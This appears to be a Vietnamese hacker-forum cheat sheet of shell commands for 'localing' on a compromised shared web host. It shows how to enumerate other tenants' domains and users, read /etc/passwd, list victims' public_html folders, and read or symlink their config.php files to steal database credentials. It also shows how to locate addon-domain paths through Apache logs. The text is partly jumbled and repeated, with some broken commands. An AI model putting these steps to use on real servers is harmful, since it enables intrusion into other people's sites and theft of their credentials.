1) Xem list domain & user trên cùng sever
Trường hợp đặc biệt khi không thể xem us
er nằm cùng host thì ta thêm && vào
2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.
3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)
4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2
-> có thể sài các lệnh đó thay thế cho cat, less,...
vd: cat /home/vhb/public_html/@vhb@/includes/config.php
vd: less /home/vhb/public_html/@vhb@/includes/config.php
5) Symlink: tác dụng gần giống như tạo shorcut trên windows.
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.
6) Tìm path của mấy victim sài Add on domain
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'
Code:
directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com
cd/etc/vdomainaliases;ls-lia
er nằm cùng host thì ta thêm && vào
Code:
cd/etc/vdomainaliases && ls-lia
Code:
cat /etc/passwd
less /etc/passwd
more /etc/passwd
head /etc/passwd
tac /etc/passwd
rev /etc/passwd
xxd /etc/passwd
Code:
dir /home/ten user can local/public_html
vd: dir /home/vhb/public_html
-> có thể sài các lệnh đó thay thế cho cat, less,...
Code:
cat/home/ten user can local/public_html/index.php
vd: less /home/vhb/public_html/@vhb@/includes/config.php
5) Symlink: tác dụng gần giống như tạo shorcut trên windows.
Code:
ln -s/home/ten user can local/public_html/index.php index.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.
6) Tìm path của mấy victim sài Add on domain
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'
Tổng hợp những lệnh trên shell hay dùng nhất khi local
4/
5
Oleh
Unknown